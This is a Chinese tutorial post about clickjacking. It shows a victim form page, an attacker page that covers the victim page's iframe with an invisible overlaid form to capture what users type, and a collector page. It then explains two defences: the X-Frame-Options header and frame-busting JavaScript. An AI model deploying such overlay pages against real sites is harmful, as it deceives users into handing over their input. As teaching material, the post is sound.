前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >点击劫持和防御

点击劫持和防御

作者头像
theanarkh
发布2019-03-06 10:05:31
5220
发布2019-03-06 10:05:31
举报
文章被收录于专栏:原创分享

原页面source.php

代码语言:javascript
复制
<?php
 //header('X-Frame-Options:DENY'); 
 ?>
<!DOCTYPE html>
<html>
<head>
    <title></title>
    <style type="text/css">
        html,body{
            margin: 0px;
            padding: 0px;
        }
    </style>
</head>
<body>
<script type="text/javascript">
    //if(parent != self) top.location.href = 'source.php';
</script>
<form action="hij.php">
    <input type="text" name="name">
    <input type="submit" name="">
</form>
</body>
</html>

劫持页面hij.html

代码语言:javascript
复制
<!DOCTYPE html>
<html>
<head>
    <title></title>
    <style type="text/css">
        html,body{
            margin: 0px;
            padding: 0px;
        }
    </style>
</head>
<body>
<iframe src="source.php" style="border:0px solid white"></iframe>
<form action="hij.php" style="position:absolute;top:0px;left:0px;z-index:1">
    <input type="text" name="_name">
    <input type="submit" name="">
</form>
</body>
</html>

收集信息的页面hij.php

代码语言:javascript
复制
<?php
    echo 'hello hijack hello hijack hello hijack hello hijack hello hijack hello hijack hello hijack hello hijack hello hijack hello hijack hello hijack hello hijack hello hijack hello hijack hello hijack hello hijack hello hijack hello hijack hello hijack hello hijack hello hijack';
?>

攻击方法: 首先自己写一个页面,接着用iframe引入其他的页面,然后自己利用定位和z-index对原页面进行覆盖和'重绘',当用户在输入时,以为是正常的页面,其实用户输入是在恶意页面进行的,最后也会提交到恶意者的服务器中。

防御方法: 1利用 header('X-Frame-Options:DENY'); 2 if(parent != self) top.location.href = 'source.php';这里要用top.location.href,否则会在iframe里不断加载source.php。因为 top.location.href代表的是最高层的window

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2019-02-23,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 编程杂技 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
云服务器
云服务器(Cloud Virtual Machine,CVM)提供安全可靠的弹性计算服务。 您可以实时扩展或缩减计算资源,适应变化的业务需求,并只需按实际使用的资源计费。使用 CVM 可以极大降低您的软硬件采购成本,简化 IT 运维工作。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档